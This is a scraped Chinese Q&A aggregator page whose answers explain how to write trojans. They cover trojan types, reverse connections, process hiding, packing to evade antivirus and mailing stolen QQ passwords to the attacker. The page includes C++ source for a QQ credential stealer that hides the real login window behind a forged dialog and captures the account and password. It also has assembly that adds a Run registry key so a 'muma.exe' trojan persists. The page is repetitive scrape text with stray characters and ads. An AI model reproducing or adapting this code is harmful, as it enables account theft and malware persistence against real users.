要写一个简单的木马需要掌握哪些知识?

作者&投稿:正钩 (若有异议请与网页底部的电邮联系)
木马编程需要掌握哪些知识?~

c
c++
system
web
tcp/ip
other program language

必须懂编程,编程就得学编程语言,哪种语言适合你,看你自己的情况了,我推荐c语言

1.良好的编程知识(C++,JAVA,delphi,VB也凑合,实在不行用易语言) 至少会一样吧
2.确定木马的功能.木马有很多种,示功能而定,比如盗号木马,远程控制木马(这类木马一般功能比较完美),网页木马(拿来黑网站用的),还有一些比如实现某一特殊功能的,.如DDOS攻击木马,控制类木马则还要编写主控端
3确定木马的连接方式,主动式和被动式(就是网上说的主动连接和反向连接)主动连接基本已经被淘汰了,
4,木马的隐藏,这是最大的问题也是最难的问题,如果你的木马不能隐藏那么也没就没有生存的余地.不仅仅是隐藏木马文件,进程,(这一般通过加载为系统服务或者通过DLL隐藏进程还有一些木马用驱动隐藏)还要隐藏木马的通信方式,不被防火墙阻止(如HTTP隧道)这里面的学问很多
5加壳,就是加密木马,还可以减少木马体积.
这里主要说下木马主体的编写方式
以最简单的盗QQ木马(阿拉QQ大盗)为例.
1.中马之后,先替换掉TXPlatform.exe(QQ密码保护文件)后台监视系统.如发现QQ.exe,则监视QQ两个文本框的text值,并将输入的信息保存,生成邮件.后台发送到种马人.这个很简单,难的再于如何替换TXPlatform.exe并且不被QQ.exe发现.还有就是如何才能取得QQ文本框中的两个值.
附送一份N年前的QQ盗号木马源程...仅做研究,这个是N年前的,用的不是我上面提到的方法,用的是把QQ的输入框替换为假的,然后密码自然而然的被木马给知道了.
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID)

{

HANDLE hSnapshot = C★reateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

PROCESSENTRY32 pe;

pe.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hSnapshot, &pe)) {

return FALSE;

}

while (Process32Next(hSnapshot, &pe)) {

if (pe.th32ProcessID == PID) {

strcpy(lpszProcessName, pe.szExeFile);

return true;

}

}

return FALSE;

}

//查找QQ登录窗口

void QQFind()

{

HWND hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL;

HWND ButtonLogin = NULL, ButtonCancel = NULL;

c★har sTitle[255];

CString ss;

DWORD QQPID;

int LoginID;

BOOL find = FALSE;

do

{

//获得当前激活窗口的句柄

g_hWnd = GetForegroundWindow();

GetWindowThreadProcessId(g_hWnd, &QQPID);

//根据PID获得进程名

processIdToName(sTitle, QQPID);

ss = sTitle;

ss.MakeLower();

//判断是否QQ

if(ss != "qq.exe")

{

Sleep(100);

continue;

}

//获得标题文字,判断是否登陆对话框

SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle);

ss = sTitle;

int n = ss.Find("QQ", 0);

int m = ss.Find("登录", 0);

if(n >= 0 || m >= 0)

{

//查找QQ登陆按钮的句柄

ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");

LoginID = GetDlgCtrlID(ButtonLogin);

ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");

LoginID = GetDlgCtrlID(ButtonLogin);

//获得QQ登陆按钮窗口位置

GetWindowRect(ButtonLogin, &g_qqLogin);

//查找QQ取消按钮的句柄

ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消");

//获得QQ取消按钮窗口位置

GetWindowRect(ButtonCancel, &g_qqCancel);

//查找QQ密码输入框的句柄

hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);

if(hWnd1 != NULL)

{

qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL);

//获得QQ密码输入框窗口位置

GetWindowRect(qqPass_hWnd, &g_qqPassRt);

}

//查找QQ号码输入框的句柄

hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL);

if(hWnd1 != NULL)

{

qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL);

//获得QQ号码输入框窗口位置

GetWindowRect(qqID_hWnd, &g_qqIDRt);

//获得当前默认QQ号码

SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid);

}

//等待QQ窗口完全出现后抓取整个屏幕

Sleep(100);

g_DlgRt.left = 0;

g_DlgRt.top = 0;

g_DlgRt.right = m_xScreen;

g_DlgRt.bottom = m_yScreen;

g_pBitmap = CopyScreenToBitmap(&g_DlgRt);

//设置QQ窗口为不可见

ShowWindow(g_hWnd, SW_HIDE);

//弹出我们创建的伪造对话框

HINSTANCE hInstance = GetModuleHandle(NULL);

DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0);

//设置QQ窗口为可见

ShowWindow(g_hWnd, SW_SHOW);

//把QQ号码和密码填到真正的QQ登录窗口上,并模拟单击登陆按钮

SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid);

SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass);

SendMessage(ButtonLogin, BM_CLICK, 0, 0);

D★eleteObject(g_pBitmap);

//设置标志退出循环

find = true;

}

}

while(find == FALSE);

}

这样和你说,最简便,最直接,最实用的木马直接用汇编语言写出来,几十行代码就OK了~不像其他语言那么麻烦,因为汇编语言直接和硬件接触,可以直接把数据弄进堆栈等等

下面是一个写入注册表的实例
CODE:

.386
.model flat, stdcall
option casemap :none
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include advapi32.inc
includelib advapi32.lib
.data
szRegKey db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
szRegValue db 'Start',0 ;键值名称
szStr1 db "c:\windwos\muma.exe" ;数据
.code
start:
_EnumKey proc _lpKey
local @hKey,@dwIndex,@dwLastTime:FILETIME

invoke RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
.if eax == ERROR_SUCCESS
invoke RegSetValueEx,@hKey,addr szRegValue,NULL,\
REG_SZ,addr szStr1,19 ;写入一个REG_SZ类型的数据
invoke RegCloseKey,@hKey
.endif
ret
_EnumKey endp
invoke _EnumKey,NULL
end start

先学C语言,学会了其实很简单。


编写木马需要学哪些知识?
1.良好的编程知识(C++,JAVA,delphi,VB也凑合,实在不行用易语言) 至少会一样吧\\x0d\\x0a2.确定木马的功能.木马有很多种,示功能而定,比如盗号木马,远程控制木马(这类木马一般功能比较完美),网页木马(拿来黑网站用的),还有一些比如实现某一特殊功能的,.如DDOS攻击木马,控制类木马则还要编写主控端\\x...

要做个木马需要掌握哪些知识?
编程,系统进程,函数调用,动态链接库调用,网络协议。

编写网游木马需要什么样的编程能力?
delphi还需要PASCAL语言基础,其实他就是开发视窗程序快,你用VB6也一样容易.VB更简单.懂语言还不够,编木马还需要加密解密知识,网络知识,传输协议,拦截数据包,HOOK,汇编反汇编最好也要掌握,这要求很强的编程能力和专业知识,别眼高手低哦,从基础来吧,如果你能达到木马专家的程度的话,你的月薪就不下100...

问下,弄木马病毒需要什么东西比如,软件什么的,越详细越好,弄普通病毒又...
这个问题非常复杂,木马种类很多,远程控制木马,盗号木马,网页木马,图片木马等等。如果你是需要自己做这些木马的话,需要起码懂一种编程语言,懂windows系统(API),pe结构。其中windows系统很重要,比如内存复制原理,dll原理,系统服务等等。病毒怎么知道别人电脑的数据,其实就是调用了windows系统的相关API...

制作木马需要懂什么
什么也不要懂,只要有个支持ASP的空间,木马制作工具,电子邮箱就可以

谁能给我点病毒木马样本供研究,只需病毒木马的代码就行,麻烦发到我的...
include <string.h> \/* copy outfile to infile *\/ void copyfile(char *infile, char *outfile){ FILE *in,*out;in = fopen(infile,"r");out = fopen(outfile,"w");while (!feof(in)){ fputc(fgetc(in),out);} fclose(in);fclose(out);} \/ This function named Rubbishmaker...

...基础的菜鸟.成为一个编程\\能写木马的高手.需要多少时间??_百度知...
看你要写什么样的木马了 只是一个简单玩一玩的木马,三个月就能搞定 如果想做一个突破常见杀毒软件、防火墙监视,突破传统主动防御功能,突破icesword监测...可能一个人一辈子都做不到

学习写木马需要学习什么比如TCP\/IP
木马是通过IP之后传送文件植入 或者直接在网站或QQ传送木马文件植入WINDOWS系统文件那里~~~我觉得~~~TCP\/IP只要知道基本的好了~ 要学习TCP\/IP是好难的~~~而且~~不是C语言就能编好一个木马文件的~~。。。

做木马免杀需要些什么工具?
2,其实目前已经有很多优秀杀毒软件,可以直接下载来用,例如腾讯电脑管家,下载地址:腾讯电脑管家官网 3,电脑管家是查杀防护2合1的杀毒软件,同时拥有4+1杀毒引擎和16层实时防护功能,可以全方位保护电脑不受木马病毒侵袭,占用系统资源还非常小,顺便说一下,电脑管家建立了全国最大的最病毒库哦!4,...

需要一个涉及到信息安全方面的小课题,比较简单的
基于这些原则,考虑网格服务环境,我们主要研究了以下内容:(1)建立一个有效的基于网格服务的隐私保护模型,引入信誉概念,研究相应的隐私保护方法与技术。(2)引入协商机制,研究针对个性化网格服务的隐私保护方法与技术。(3)引入合同机制,研究针对临时性网格服务的隐私保护方法与技术。(4)引入本体理论...

江汉区15028301273: 要写一个简单的木马需要掌握哪些知识? -
巩超威信: 1.良好的编程知识(C++,JAVA,delphi,VB也凑合,实在不行用易语言) 至少会一样吧 2.确定木马的功能.木马有很多种,示功能而定,比如盗号木马,远程控制木马(这类木马一般功能比较完美),网页木马(拿来黑网站用的),还有一些比如...

江汉区15028301273: 编写木马需要什么基础知识? -
巩超威信: 你列举的知识都能用到. 但是C语言或汇编选一种就可以了. 不过现在的木马已经使用驱动技术了,所以学习驱动也是少不了的了.

江汉区15028301273: 编写木马需要学哪些知识?
巩超威信: 1.良好的编程知识(C++,JAVA,delphi,VB也凑合,实在不行用易语言) 至少会一样吧1.中马之后,先替换掉TXPlatform.exe(QQ密码保护文件)后台监视系统.如发现QQ.exe,则监视QQ两个文本框的text值,并将输入的信息保存,生成邮件.后台发送到种马人.这个很简单,难的再于如何替换TXPlatform.exe并且不被QQ.exe发现.还有就是如何才能取得QQ文本框中的两个值.

江汉区15028301273: 新手想编写木马应该学什么
巩超威信: VB 所有语言中最简单的一个,业余的可以选它,写出来的东西有点占资源,不过还好,满足基本要求. 专业一点的话 要精通C语言 接着可以学C++ VC delphi 英文不好可以学delphi

江汉区15028301273: 写木马需具备哪些基础知识?请高手回答. -
巩超威信: C语言,C++语言,大爷的,写写木马学习学习老衲支持你,不过千万别害人呀,万千的菜鸟可是被毒怕了的

江汉区15028301273: 做出个木马程序大概需要学哪些知识? -
巩超威信: 没法具体 最起码要懂C C是基础 等会了C++ 你就可以制作简单的木马了 这个算很具体的了

江汉区15028301273: 怎么能学会做木马!!!?
巩超威信: 简单的木马可以通过软件来生成,如果想学编写木马的话要学会编程,建议先从最简单的C语言学起,虽说C语言是最简单的编程语言,但C语言的功能还是很强大的

江汉区15028301273: 什么是木马 木马如何制作
巩超威信: 简单的说,木马就是一个程序.如何制作,需要用计算机编程方面的知识,有强悍的计算机基础,掌握至少一种编程语言.比如汇编,C语言,还有现在流行的JAVA语言.除此之外,还要懂得怎么给病毒加壳(就像人需要穿衣服一样,需要打扮伪装才不容易认出来),才不会被杀毒软件查杀,那样的病毒才算成功. 如果楼主有这方面的意向,可加油学习计算机方面的知识,主要是编程这方面,学好了很简单.可我一直没有学会,智商低了一截.

江汉区15028301273: 本人中专学历要学写脚本、编程、写木马都需要懂那些知识?有用得必加高分!!
巩超威信: 你有要了解一些必要的电脑知识和网络知识,写脚本看的是你有没有这方的才能,我有个朋友只是初中毕业,现在做的是软件开发,现在做到项目经理.所以说如果你有这方面的觉悟的话,了解下必要的相关知识,还有就是必须要掌握的就是英语知识,对用得到的英语知识,必须要牢记.写脚本他也是有语法的,和英语一样同样有自己的语法,只要你理解了编程的语法你就成功了一半了.这里面的知识是我平时搜集来,看看吧,希望对你有帮助.http://xuefu.gkang.com/2009/list130_1.html

江汉区15028301273: 学制作木马,要先学什么作为基础? -
巩超威信: 编程,VB最简单,先学

本站内容来自于网友发表,不代表本站立场,仅表示其个人看法,不对其真实性、正确性、有效性作任何的担保
相关事宜请发邮件给我们
© 星空见康网